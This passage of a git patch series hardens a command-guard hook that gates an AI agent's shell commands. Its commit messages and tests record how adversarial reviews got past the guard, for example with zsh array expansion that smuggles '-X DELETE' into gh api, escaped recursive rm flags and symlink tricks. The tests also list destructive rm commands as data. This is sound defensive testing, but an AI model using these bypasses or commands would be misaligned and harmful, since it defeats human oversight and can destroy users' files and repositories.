[0-9]+[smh])*$", + "^gh api( (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))* ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh]| (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))*$", "^gh issue (list|status|view)( |$)", "^gh issue (create|comment|develop|edit|reopen|close)( |$)", "^gh label (list|create)( |$)", diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 7eac123..298f66b 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -67,17 +67,13 @@ id="apostrophe in a single-quoted body", ), pytest.param("gh api graphql -f query='query { viewer { login } }'", id="GitHub GraphQL queries"), - pytest.param( - 'gh api graphql -f "query=query { repository(owner: \\"o\\", name: \\"r\\") { id } }"', - id="GitHub GraphQL queries in double quotes", - ), pytest.param("gh stack submit --auto", id="non-interactive stack commands"), pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), pytest.param("curl -s -H 'Accept: x' -o out.json http://127.0.0.1:8080/api", id="local server downloads"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( - 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', + "gh api -H \"Accept: application/vnd.github.raw\" 'repos/o/r/contents/a.nix?ref=v1' | sed -n 1,20p", id="GitHub reads with a header before the endpoint", ), pytest.param( @@ -220,6 +216,17 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("curl --data-urlencode q=x https://example.com/", [], id="options outside the read-only list"), pytest.param("curl --max-time=5 https://example.com/", [], id="attached long option values"), pytest.param("gh api graphql -f query='mutation { x }'", [], id="GitHub GraphQL mutations"), + pytest.param( + 'gh api graphql -f "query=query { repository(owner: \\"o\\", name: \\"r\\") { id } }"', + [], + id="GitHub GraphQL queries in double quotes, which main asks for", + ), + pytest.param("gh api repos/o/r/pulls/1/comments/99/replies -f body=hello", [], id="unquoted reply bodies"), + pytest.param( + "gh api -H 'X-HTTP-Method-Override: DELETE' repos/o/r/issues/1", + [], + id="other headers before the endpoint", + ), pytest.param("curl -d{} https://example.com/", [], id="send options that need quoting"), pytest.param("curl -sd'a b' https://example.com/", [], id="send options with spaces in a cluster"), pytest.param("curl --data 'a b' https://example.com/", [], id="long send options with spaces"), diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 50457a0..d17e292 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -49,7 +49,7 @@ def decide(kind: str, command: str, cwd: Path | None = None) -> str: pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), pytest.param("ls {tmp} && rm -f {tmp}/a.txt; echo done", id="beside commands that only read"), pytest.param("command rm {tmp}/a.txt", id="behind a wrapper"), - pytest.param("rm '{tmp}/{{a,b}}' \"{tmp}/[c]\" {tmp}/\\*", id="quoted or escaped special characters"), + pytest.param("rm -f -- {tmp}/a_b-c.d/@x+y,z:1%2", id="every plain character"), ], ) @pytest.mark.parametrize("kind", ["allowed", "forbidden"]) @@ -161,8 +161,7 @@ def test_a_recursive_zsh_command_path_expansion_stays_denied(project: Path) -> N "command", [ pytest.param("rm {tmp}/tool", id="the same file as an absolute temporary path"), - pytest.param("rm {tmp}/'=tool'", id="a quoted equals sign inside an absolute temporary path"), - pytest.param("rm {tmp}/=tool", id="an equals sign that does not start the word"), + pytest.param("rm '{tmp}/tool'", id="a quoted absolute temporary path"), ], ) def test_absolute_temporary_paths_pass_from_any_directory(project: Path, git_project: Path, command: str) -> None: @@ -170,6 +169,43 @@ def test_absolute_temporary_paths_pass_from_any_directory(project: Path, git_pro assert decide("allowed", command, cwd=git_project) == "allow" +@pytest.mark.parametrize( + "command", + [ + pytest.param('rm -f "{tmp}/link\\/sub"', id="a backslash the shell may drop"), + pytest.param("rm -f {tmp}/a\\b", id="an escaped character"), + pytest.param("rm {tmp}/'=tool'", id="a quoted equals sign"), + pytest.param("rm {tmp}/=tool", id="an equals sign"), + pytest.param("rm '{tmp}/a b'", id="a space"), + pytest.param("rm '{tmp}/a;b'", id="a separator character"), + pytest.param('rm "{tmp}/a\'b"', id="a quote character"), + pytest.param("rm '{tmp}/{{a,b}}' \"{tmp}/[c]\" {tmp}/\\*", id="quoted or escaped glob and brace characters"), + ], +) +def test_temporary_paths_with_characters_outside_the_plain_set_ask(project: Path, command: str) -> None: + command = command.format(tmp=project / "tmp") + assert decide("allowed", command) == "ask" + assert decide("forbidden", command) == "allow" + + +def test_a_recursive_removal_through_a_dropped_backslash_stays_denied(project: Path) -> None: + assert decide("forbidden", f'rm -rf "{project / "tmp"}/link\\/sub"') == "deny" + + +@pytest.mark.parametrize("root", ["scratch", "tmp"]) +def test_a_temporary_root_that_links_outside_the_system_temp_areas_is_not_a_root( + project: Path, monkeypatch: pytest.MonkeyPatch, root: str +) -> None: + link = project / f"{root}-link" + link.symlink_to("/usr") + if root == "scratch": + monkeypatch.setattr(guard.removal_policy, "SCRATCH_ROOT", link) + else: + monkeypatch.setenv("TMPDIR", str(link)) + assert decide("allowed", f"rm {link}/never-created.txt") == "ask" + assert decide("forbidden", f"rm -rf {link}/never-created") == "deny" + + def test_a_reassigned_home_cannot_vouch_for_a_target( project: Path, git_project: Path, monkeypatch: pytest.MonkeyPatch ) -> None: From 0016fdad45dbf04cc55402f218062d0c93dc58e5 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:47:47 +0900 Subject: [PATCH 15/25] fix(agents): keep main's denials for escaped and unsettled rm trees A twelfth adversarial review of #242 found three forms main asked for or denied that this branch had loosened: - zsh splits a quoted "$a[@]", which the bash parser reads as one word, so the Accept and X-GitHub-Api-Version header rule let an injected -X DELETE through; that rule now sits in its own entry marked literal_words and applies only when no word expands at all, and other forms fall back to main's gh api rules - an escaped recursive flag such as \-rf skipped flag detection, so the removal only asked; rm now reads its options from the decoded words - a recursive removal under a symlink created in the same command only asked; a recursive removal is now denied unless every target is a temporary path that nothing else in the command can change Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 16 ++++++++++---- agents/hooks/lib/command_policy.py | 7 ++++++ agents/hooks/lib/removal_policy.py | 25 ++++++++++++++-------- agents/hooks/rules/allowed_commands.json | 11 +++++++++- tests/agents/hooks/test_allowed_command.py | 13 +++++++++++ tests/agents/hooks/test_removal_command.py | 14 +++++++++--- 6 files changed, 69 insertions(+), 17 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 06749ab..fd8ff9a 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -89,6 +89,14 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: return governed_objection(candidate, policy, preview) +def is_listed(candidate: shell_syntax.Command, rules: list[dict]) -> bool: + text = candidate.static_words_text + if command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=False)): + return True + literal = not candidate.has_dynamic_words and not any(candidate.spreading) + return literal and bool(command_policy.regex_reason(text, command_policy.literal_rules(rules, literal=True))) + + def forbidden_objection(item: shell_syntax.Command, candidate: shell_syntax.Command, policy: Policy) -> Verdict: """Deny only: a literal deny prefix or pattern wins even beside a run-time argument.""" rules = policy.rules @@ -109,16 +117,16 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: A run-time word counts as a plain placeholder, so it passes only where any value would, and a command that can hide an option from the rules, or takes more arguments from xargs, asks: a - quoted option, or a word that may split into several, such as an unquoted expansion. + quoted option, or a word that may split into several, such as an unquoted expansion. Rules + marked literal_words apply only when no word expands at all, since a shell such as zsh may + split even a quoted expansion. """ prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") if governed is None or ( - not candidate.appends_input - and not candidate.hides_options - and command_policy.regex_reason(candidate.static_words_text, rules) + not candidate.appends_input and not candidate.hides_options and is_listed(candidate, rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index 2b2756d..1f5a2b9 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -68,12 +68,19 @@ def validate_rule(rule: object, prefixes: bool) -> None: raise ValueError("invalid decision") if not prefixes and "programs" in rule and not is_name_list(rule["programs"]): raise ValueError("invalid governed program list") + if not prefixes and not isinstance(rule.get("literal_words", False), bool): + raise ValueError("invalid literal word flag") def is_name_list(value: object) -> bool: return isinstance(value, list) and bool(value) and all(isinstance(item, str) and item for item in value) +def literal_rules(rules: list[dict], *, literal: bool) -> list[dict]: + """The rules that apply only when every word of the command is literal, or the others.""" + return [rule for rule in rules if rule.get("literal_words", False) is literal] + + def governed_programs(rules: list[dict]) -> frozenset[str]: """Programs whose effects reach past the sandbox, so only their listed forms pass unreviewed.""" return frozenset(program for rule in rules for program in rule.get("programs", ())) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 5b397dd..abb2800 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -55,7 +55,8 @@ def is_accounted_for(self) -> bool: @property def removes_unaccounted_tree(self) -> bool: - return self.recursive and not self.is_temporary + """Whether a recursive removal reaches past settled temporary paths; such a removal is denied.""" + return self.recursive and not self.is_accounted_for def removal(command: shell_syntax.Command, settled: bool) -> Removal | None: @@ -65,18 +66,18 @@ def removal(command: shell_syntax.Command, settled: bool) -> Removal | None: recursive, operands = False, [] hidden = command.appends_input options_ended = False + # Options are read from the decoded words, so quoting or escaping cannot hide a recursive flag. for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): - if dynamic or source.startswith("~") or "$" in source or "\\" in source: + if dynamic: hidden = True - elif options_ended or word == "-" or not word.startswith("-"): - operands.append(word) - hidden |= not PLAIN_PATH.fullmatch(word) - elif word == "--": + elif not options_ended and word == "--": options_ended = True - elif is_option(word): - recursive |= word == "--recursive" or (not word.startswith("--") and bool(set(word) & {"r", "R"})) + elif not options_ended and word.startswith("-") and word != "-": + recursive |= is_recursive(word) + hidden |= not is_option(word) else: - hidden = True + operands.append(word) + hidden |= source.startswith("~") or "$" in source or "\\" in source or not PLAIN_PATH.fullmatch(word) if hidden or not operands or not all(Path(word).is_absolute() for word in operands): return Removal(recursive, None, settled) return Removal(recursive, tuple(Path(word) for word in operands), settled) @@ -96,6 +97,12 @@ def is_inert(command: shell_syntax.Command) -> bool: return name == "rm" or name in INERT_WRAPPERS or name in READERS +def is_recursive(option: str) -> bool: + if option.startswith("--"): + return option == "--recursive" + return bool(set(option[1:]) & {"r", "R"}) + + def is_option(word: str) -> bool: if word.startswith("--"): return word in LONG_FLAGS or word.startswith("--interactive=") diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 864c76e..196622f 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -18,7 +18,6 @@ "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+ --method POST -f parent_issue_id=[a-zA-Z0-9_=]+ /issues/[0-9]+/sub_issues$", "^gh api graphql -f query='(query([[:space:]({{])|[{])[^']*('\\\\''[^']*)*'$", "^gh api ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh])*$", - "^gh api( (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))* ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh]| (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))*$", "^gh issue (list|status|view)( |$)", "^gh issue (create|comment|develop|edit|reopen|close)( |$)", "^gh label (list|create)( |$)", @@ -48,6 +47,16 @@ ], "justification": "Allow GitHub reads and the reviewable writes the delivery workflow uses; other forms of an approved gh prefix change GitHub in ways the sandbox cannot undo." }, + { + "programs": [ + "gh" + ], + "literal_words": true, + "patterns": [ + "^gh api( (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))* ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh]| (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))*$" + ], + "justification": "Allow GitHub reads that ask for a media type or API version by header; every other word must be literal, so no expansion can add an option beside the header." + }, { "programs": [ "curl", diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 298f66b..b856214 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -161,6 +161,19 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("gh api repos/furedea/$r/alerts", [], id="unquoted expansions inside an endpoint"), pytest.param("gh pr view $(cat number.txt)", [], id="unquoted command substitutions"), pytest.param("gh api repos/o/r/contents/*", [], id="unquoted globs"), + pytest.param( + "printf '%s\\n' 'repos/o/r/issues/comments/123 -X DELETE' | read -rA a; gh api -H 'Accept: x' \"$a[@]\"", + [], + id="a zsh array expansion beside an allowed header", + ), + pytest.param( + "gh api -H 'Accept: x' \"repos/o/$r/pulls\"", [], id="a quoted expansion beside an allowed header" + ), + pytest.param( + 'gh api --header "X-GitHub-Api-Version: 1" \'repos/o/r\' --jq "$(cat q)"', + [], + id="a substitution beside an allowed header", + ), pytest.param( "gh api -H 'Accept: x' {repos/o/r/issues/comments/123,-\"X\"DELETE}", [], diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index d17e292..877fb56 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -79,7 +79,7 @@ def test_removals_inside_a_temporary_root_pass(project: Path, kind: str, command pytest.param("rm", id="no targets"), pytest.param("printf x >> tracked.txt; rm tracked.txt", id="a write to the target first"), pytest.param("mv untracked.txt tracked.txt && rm tracked.txt", id="a move onto the target first"), - pytest.param("ln -s {project} {tmp}/link; rm -r {tmp}/link/sub", id="a symlink created first"), + pytest.param("ln -s {project} {tmp}/link; rm {tmp}/link/sub", id="a symlink created first"), pytest.param("rm tracked.txt; git checkout -- tracked.txt", id="any command that can write"), pytest.param("builtin cd sub && rm tracked.txt", id="a builtin directory change"), pytest.param("env --chdir=sub rm tracked.txt", id="env with a long directory option"), @@ -124,10 +124,18 @@ def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, pytest.param("rm -rf {tmp}/{{a,../../../x}}", id="a tree named through brace expansion"), pytest.param("rm -rf {tmp}/a/.\\\n./../..", id="a tree named across a line continuation"), pytest.param("echo {tmp}/a | xargs rm -rf {tmp}/b", id="trees read from input"), + pytest.param("rm \\-rf {project}", id="an escaped recursive flag"), + pytest.param("rm -\\rf build", id="an escape inside a recursive flag"), + pytest.param("rm '-r' build", id="a quoted recursive flag"), + pytest.param("rm {project} \\--recursive", id="an escaped long flag after the operand"), + pytest.param("ln -s {project} {tmp}/link; rm -r {tmp}/link/sub", id="a tree under a symlink created first"), + pytest.param("printf x > {tmp}/out.txt; rm -rf {tmp}/build", id="a temporary tree beside a write"), ], ) -def test_recursive_removals_outside_the_temporary_roots_stay_denied(project: Path, command: str) -> None: - command = command.format(tmp=project / "tmp") +def test_recursive_removals_outside_the_temporary_roots_stay_denied( + project: Path, git_project: Path, command: str +) -> None: + command = command.format(tmp=project / "tmp", project=git_project) verdict = guard.decide("forbidden", {"tool_input": {"command": command}}) assert verdict.decision == "deny" assert "directory trees" in verdict.reason From c029c72e7bf4ca25632d36f6d4afdb7b61375b6d Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 19:31:29 +0900 Subject: [PATCH 16/25] fix(agents): take rm out of this change and hold Herdr's new forms to literal words A thirteenth adversarial review of #242 found two more rm holes and a Herdr one. rm moves to a separate Issue: - removal_policy and its tests are gone, and so is the compound-redirect write collection that served only it, so a body's deny is no longer turned into an ask by a redirect the parser cannot decode; main's rm tests are back, and they pass once the shared rm prefixes return to the permission file - Herdr's new agent read, agent wait, worktree list, and worktree open forms sit in their own literal_words rule, like the gh api header rule, so a zsh "$a[@]" cannot add --trust-repository Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 23 +- agents/hooks/lib/removal_policy.py | 134 ---------- agents/hooks/lib/shell_syntax.py | 22 +- agents/hooks/rules/allowed_commands.json | 13 +- pyproject.toml | 1 - tests/agents/codex/test_execpolicy.py | 2 + tests/agents/hooks/conftest.py | 12 - tests/agents/hooks/test_allowed_command.py | 7 + tests/agents/hooks/test_command_cli.py | 2 +- tests/agents/hooks/test_forbidden_command.py | 2 + tests/agents/hooks/test_removal_command.py | 254 ------------------- tests/agents/test_command_permission_sync.py | 7 +- 12 files changed, 30 insertions(+), 449 deletions(-) delete mode 100644 agents/hooks/lib/removal_policy.py delete mode 100644 tests/agents/hooks/test_removal_command.py diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index fd8ff9a..035f6d0 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -22,7 +22,6 @@ import command_policy import hook_decision from hook_decision import Verdict -import removal_policy import shell_syntax @@ -146,21 +145,6 @@ def settings_objection(command: str, commands: tuple[shell_syntax.Command, ...]) return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {shell_syntax.command_preview(command)}", "settings") -def removal_objection(kind: str, item: shell_syntax.Command, settled: bool) -> Verdict: - """Pass rm where a temporary directory or Git accounts for its targets; else deny a tree and ask for files.""" - removal = removal_policy.removal(command_policy.canonical(item), settled) - if removal is None or removal.is_accounted_for: - return hook_decision.ALLOW - preview = shell_syntax.command_preview(item.raw) - if kind == "allowed": - return hook_decision.ask(f"Needs review: {removal_policy.FILE_REASON}.\n\nCommand: {preview}", "rm") - if not removal.removes_unaccounted_tree: - return hook_decision.ALLOW - return hook_decision.deny( - f"BLOCKED: forbidden command: {removal_policy.TREE_REASON}\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" - ) - - def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: """Decide for an already decoded provider payload, recording every denial and escalation.""" command = "" @@ -185,12 +169,7 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: except shell_syntax.UnsupportedSyntax as error: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - settled = removal_policy.is_settled(commands) - verdicts = ( - verdict - for item in commands - for verdict in (objection(kind, item, policy), removal_objection(kind, item, settled)) - ) + verdicts = (objection(kind, item, policy) for item in commands) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) if kind == "allowed" and verdict.decision == "allow": return settings_objection(command, commands) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py deleted file mode 100644 index abb2800..0000000 --- a/agents/hooks/lib/removal_policy.py +++ /dev/null @@ -1,134 +0,0 @@ -"""Judge rm by whether every target is an absolute literal path inside a temporary directory. - -A relative path depends on a working directory the command may change, and a word that the shell -expands, such as zsh's =name, names a path the hook cannot see; git rm covers tracked files. -""" - -from dataclasses import dataclass -import os -from pathlib import Path -import re - -import shell_syntax - - -TREE_REASON = ( - "Do not remove directory trees outside a temporary directory from an agent session; " - "Git cannot restore untracked files." -) -FILE_REASON = "removing files outside a temporary directory needs review; use git rm for tracked files" -# Claude Code points each sandboxed command's TMPDIR, including session scratchpads, below this root. -SCRATCH_ROOT = Path(f"/private/tmp/claude-{os.getuid()}") -SHORT_FLAGS = frozenset("dfiIPRrvWx") -LONG_FLAGS = frozenset( - {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} -) -# A target passes only in characters every shell reads alike, so the hook and the shell see one path. -PLAIN_PATH = re.compile(r"[A-Za-z0-9._/@+,:%-]+") -# A root counts only when it really lies in a system temporary area, not when it links elsewhere. -SYSTEM_TEMPORARY_AREAS = (Path("/private/tmp"), Path("/private/var/folders"), Path("/tmp")) -# Commands that only read, so beside them an rm target stays as the hook sees it. rg is absent since -# its --pre runs a program, and time since its -o writes a file. -READERS = frozenset({"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "tail", "test", "true", "wc"}) -INERT_WRAPPERS = frozenset(shell_syntax.WRAPPERS) - {"time"} - - -@dataclass(frozen=True, slots=True) -class Removal: - """One rm invocation; `targets` is None unless every target is an absolute literal path. - - `settled` is False when another command could write, move, or relink a target first. - """ - - recursive: bool - targets: tuple[Path, ...] | None - settled: bool = True - - @property - def is_temporary(self) -> bool: - return bool(self.targets) and all(is_temporary(target) for target in self.targets) - - @property - def is_accounted_for(self) -> bool: - """Whether every target is temporary and nothing else in the command can change that first.""" - return self.settled and self.is_temporary - - @property - def removes_unaccounted_tree(self) -> bool: - """Whether a recursive removal reaches past settled temporary paths; such a removal is denied.""" - return self.recursive and not self.is_accounted_for - - -def removal(command: shell_syntax.Command, settled: bool) -> Removal | None: - """Read a canonical rm command whose targets count only as absolute literal paths.""" - if command.arguments[0] != "rm": - return None - recursive, operands = False, [] - hidden = command.appends_input - options_ended = False - # Options are read from the decoded words, so quoting or escaping cannot hide a recursive flag. - for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): - if dynamic: - hidden = True - elif not options_ended and word == "--": - options_ended = True - elif not options_ended and word.startswith("-") and word != "-": - recursive |= is_recursive(word) - hidden |= not is_option(word) - else: - operands.append(word) - hidden |= source.startswith("~") or "$" in source or "\\" in source or not PLAIN_PATH.fullmatch(word) - if hidden or not operands or not all(Path(word).is_absolute() for word in operands): - return Removal(recursive, None, settled) - return Removal(recursive, tuple(Path(word) for word in operands), settled) - - -def is_settled(commands: tuple[shell_syntax.Command, ...]) -> bool: - """Whether every segment of the command leaves rm targets as the hook sees them.""" - return all(is_inert(command) for command in commands) - - -def is_inert(command: shell_syntax.Command) -> bool: - """Whether a segment leaves rm targets alone: rm itself, a wrapper whose program is judged on its - own, or a reader without output redirections.""" - if command.program_is_dynamic or command.writes: - return False - name = Path(command.arguments[0]).name - return name == "rm" or name in INERT_WRAPPERS or name in READERS - - -def is_recursive(option: str) -> bool: - if option.startswith("--"): - return option == "--recursive" - return bool(set(option[1:]) & {"r", "R"}) - - -def is_option(word: str) -> bool: - if word.startswith("--"): - return word in LONG_FLAGS or word.startswith("--interactive=") - return set(word[1:]) <= SHORT_FLAGS - - -def is_temporary(target: Path) -> bool: - """Whether the target lies strictly inside a trusted root, both as written and once symlinks resolve.""" - written = Path(os.path.normpath(target)) - resolved = Path(os.path.realpath(target)) - roots = trusted_roots() - return any(is_inside(written, root) for pair in roots for root in pair) and any( - is_inside(resolved, resolved_root) for _, resolved_root in roots - ) - - -def trusted_roots() -> tuple[tuple[Path, Path], ...]: - """The scratchpad root and TMPDIR, as written and resolved, when they resolve into a system temporary area.""" - candidates = (SCRATCH_ROOT, Path(os.environ.get("TMPDIR", ""))) - pairs = ((Path(os.path.normpath(root)), Path(os.path.realpath(root))) for root in candidates if root.is_absolute()) - return tuple( - (written, resolved) - for written, resolved in pairs - if any(is_inside(resolved, area) for area in SYSTEM_TEMPORARY_AREAS) - ) - - -def is_inside(path: Path, root: Path) -> bool: - return path != root and path.is_relative_to(root) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 7d920a2..58ee3ac 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -183,18 +183,12 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: if any(node.get("Type") not in ALLOWED_NODES for node in records): raise UnsupportedSyntax("dynamic or unsupported shell syntax requires explicit review") data = source.encode() - enclosing = enclosing_writes(records, data) commands: list[Command] = [] for node in records: if node.get("Type") != "CallExpr" or not node.get("Args"): continue owner = owners.get(id(node), node) - command = literal_command(node, owner, data) - command = replace( - command, - wrapper_depth=depth, - writes=command.writes + enclosing.get(id(node), ()), - ) + command = replace(literal_command(node, owner, data), wrapper_depth=depth) commands.append(command) commands.extend(unwrapped(command)) innermost = commands[-1] @@ -205,20 +199,6 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: return tuple(commands) -def enclosing_writes(records: tuple[dict, ...], data: bytes) -> dict[int, tuple[str, ...]]: - """Files a compound statement's redirections write, such as `{ ...; } > f`, keyed by each call inside it.""" - found: dict[int, tuple[str, ...]] = {} - for statement in records: - compound = statement.get("Cmd") - if not isinstance(compound, dict) or compound.get("Type") == "CallExpr": - continue - targets = statement_writes(statement, data) - calls = (node for node in nodes(compound) if node.get("Type") == "CallExpr") if targets else () - for call in calls: - found[id(call)] = found.get(id(call), ()) + targets - return found - - def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: redirects = [redirect for redirect in statement.get("Redirs", []) if redirect.get("Word")] targets = [literal_word(redirect["Word"], data)[0] for redirect in redirects] diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 196622f..4b7ff8f 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -91,14 +91,23 @@ "^herdr workspace close [^ -][^ ]*$", "^herdr worktree remove --workspace [^ -][^ ]*$", "^herdr workspace list( |$)", - "^herdr workspace get( |$)", + "^herdr workspace get( |$)" + ], + "justification": "Allow Herdr reads and handing work to a new Claude or Codex session; repository trust, pane environments, other agent kinds, and driving existing panes run outside the sandbox and ask." + }, + { + "programs": [ + "herdr" + ], + "literal_words": true, + "patterns": [ "^herdr (agent (read|wait)|worktree (list|open)) --help$", "^herdr agent read [^ -][^ ]*( --(source|lines|format) [^ ]+| --ansi)*$", "^herdr agent wait [^ -][^ ]*( --until [a-z]+| --timeout [0-9]+)*$", "^herdr worktree list( --(workspace|cwd) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+))*$", "^herdr worktree open( --(workspace|cwd|path|branch|label) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+)| --(no-)?focus)*$" ], - "justification": "Allow Herdr reads and handing work to a new Claude or Codex session; repository trust, pane environments, other agent kinds, and driving existing panes run outside the sandbox and ask." + "justification": "Allow watching lanes and their worktrees; every word must be literal, so no expansion can add an option such as --trust-repository." } ] } diff --git a/pyproject.toml b/pyproject.toml index 2eb1b54..3c0061a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -34,7 +34,6 @@ known_first_party = [ "lint_format", "patch_input", "provider_adapter", - "removal_policy", "replay_commands", "secret_path_policy", "shell_syntax", diff --git a/tests/agents/codex/test_execpolicy.py b/tests/agents/codex/test_execpolicy.py index 6f9886e..7973b8b 100644 --- a/tests/agents/codex/test_execpolicy.py +++ b/tests/agents/codex/test_execpolicy.py @@ -107,8 +107,10 @@ def codex_policy(agent_harness: CliRunner, tmp_path_factory: pytest.TempPathFact ("prompt", "npx cowsay hello"), ("prompt", "gh pr merge 42 --squash"), ("prompt", "gh stack merge"), + ("prompt", "rm scratch.txt"), ("prompt", "uv add requests"), ("prompt", "git stash drop"), + ("forbidden", "rm -rf /tmp/example"), ("forbidden", "brew install ffmpeg"), ("forbidden", "uv python install 3.11"), ("forbidden", "cargo install ripgrep"), diff --git a/tests/agents/hooks/conftest.py b/tests/agents/hooks/conftest.py index 5c6a166..2639b69 100644 --- a/tests/agents/hooks/conftest.py +++ b/tests/agents/hooks/conftest.py @@ -10,21 +10,9 @@ sys.path.insert(0, str(REPO_ROOT / "agents/hooks")) sys.path.insert(0, str(REPO_ROOT / "agents/hooks/lib")) -import removal_policy import session_store -@pytest.fixture(autouse=True) -def temporary_roots(tmp_path_factory: pytest.TempPathFactory, monkeypatch: pytest.MonkeyPatch) -> Path: - """Keep each test's project outside the roots rm may clear, wherever pytest puts its directories.""" - roots = tmp_path_factory.mktemp("temporary-roots") - for name in ("tmp", "scratch"): - (roots / name).mkdir() - monkeypatch.setenv("TMPDIR", str(roots / "tmp")) - monkeypatch.setattr(removal_policy, "SCRATCH_ROOT", roots / "scratch") - return roots - - @pytest.fixture def verification_calls(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: state = tmp_path.parent / (tmp_path.name + "-state") diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index b856214..60f733d 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -183,6 +183,13 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: 